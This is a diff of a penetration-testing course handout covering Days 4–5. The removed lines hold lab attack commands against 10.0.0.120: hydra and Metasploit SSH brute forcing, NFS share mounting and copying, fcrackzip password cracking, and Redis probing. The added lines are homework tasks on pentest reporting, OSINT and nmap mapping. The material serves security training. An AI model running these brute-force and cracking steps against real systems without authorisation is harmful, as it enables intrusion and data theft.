1527 | - | hydra -L /home/infosecaddicts/list.txt -P /home/infosecaddicts/list.txt -u -s 1322 10.0.0.120 ssh |
1527 | + | |
1528 | ||
1529 | - | ssh -p 1322 admin@10.0.0.120 |
1529 | + | |
1530 | ||
1531 | ||
1532 | ---close the duplicate putty session to your Ubuntu host | |
1533 | ||
1534 | ||
1535 | ||
1536 | ||
1537 | ********************************** Begin Day 4 Homework Part 1 ********************************** | |
1538 | - | use auxiliary/scanner/ssh/ssh_users |
1538 | + | |
1539 | ||
1540 | - | set USER_FILE /home/infosecaddicts/list.txt |
1540 | + | |
1541 | ||
1542 | - | set STOP_ON_SUCCESS true |
1542 | + | You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day4.docx' (ex: Joseph-McCray-CyberWar-Day3.docx). |
1543 | ||
1544 | - | set RHOSTS 10.0.0.120 |
1544 | + | |
1545 | ||
1546 | - | set RPORT 1322 |
1546 | + | |
1547 | Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST. | |
1548 | ||
1549 | ********************************** End Day 4 Homework Part 1 ********************************** | |
1550 | ||
1551 | ||
1552 | ************************ Class Challenge ************************ | |
1553 | ||
1554 | - | use auxiliary/scanner/ssh/ssh_login |
1554 | + | |
1555 | ||
1556 | - | set USER_FILE /home/infosecaddicts/list.txt |
1556 | + | |
1557 | https://s3.amazonaws.com/infosecaddictsfiles/WebAppSampleReports.zip | |
1558 | - | set PASS_FILE /home/infosecaddicts/list.txt |
1558 | + | |
1559 | I want you to perform a penetration test against http://zero.webappsecurity.com and document the engagement as if it were a real project. | |
1560 | - | set STOP_ON_SUCCESS true |
1560 | + | |
1561 | ||
1562 | - | set RHOSTS 10.0.0.120 |
1562 | + | |
1563 | ||
1564 | - | set RPORT 1322 |
1564 | + | |
1565 | ######### | |
1566 | # Day 5 # | |
1567 | ######### | |
1568 | ||
1569 | - | sessions -l |
1569 | + | |
1570 | ||
1571 | - | sessions -u 1 |
1571 | + | |
1572 | Day 5 Task 1 | |
1573 | - | sessions -i 1 |
1573 | + | |
1574 | https://goo.gl/forms/l2cMNg1F50kLQsHG2 | |
1575 | ||
1576 | ||
1577 | ||
1578 | Day 5 Task 2 | |
1579 | Create an OSINT report on the retail company TARGET. You'll all work together on this and put together as thorough of a report as possible. | |
1580 | - | ################# |
1580 | + | |
1581 | - | # Attacking NFS # |
1581 | + | |
1582 | - | ################# |
1582 | + | |
1583 | - | rpcinfo -s 10.0.0.120 |
1583 | + | |
1584 | ||
1585 | - | showmount -e 10.0.0.120 |
1585 | + | |
1586 | Use nmap to map the target network (10.0.0.0/24). | |
1587 | - | mount -t nfs 10.0.0.120:/backup /tmp/nfs -o nolock |
1587 | + | |
1588 | Task 3a) Identify the number of reachable hosts. | |
1589 | - | ls /tmp/nfs |
1589 | + | |
1590 | Task 3b) Identify the number of open ports per hosts. | |
1591 | - | cp /tmp/nfs/backup.tar.bz2.zip /home/infosecaddicts |
1591 | + | |
1592 | - | umount -l /tmp/nfs |
1592 | + | |
1593 | ||
1594 | - | sudo apt-cache search fcrackzip |
1594 | + | |
1595 | ||
1596 | Task 3e) Put all of this information into a spreadsheet in the Google Drive folder | |
1597 | - | sudo apt install -y fcrackzip |
1597 | + | |
1598 | ||
1599 | ||
1600 | - | fcrackzip -D -p /home/infosecaddicts/list.txt |
1600 | + | |
1601 | Day 5 Task 4 | |
1602 | - | unzip -P aaaaaa backup.tar.bz2.zip |
1602 | + | |
1603 | ||
1604 | - | tar -zxvf backup.tar.bz2 |
1604 | + | |
1605 | http://securityxploded.com/bruteforcing-filenames-on-webservers-using-dirbuster.php | |
1606 | ||
1607 | - | ################### |
1607 | + | |
1608 | - | # Attacking Redis # |
1608 | + | |
1609 | - | ################### |
1609 | + | |
1610 | - | sudo nmap -p 6379 --script=redis-info 10.0.0.120 |
1610 | + | |
1611 | Populate the findings spreadsheet with as much detail as possible |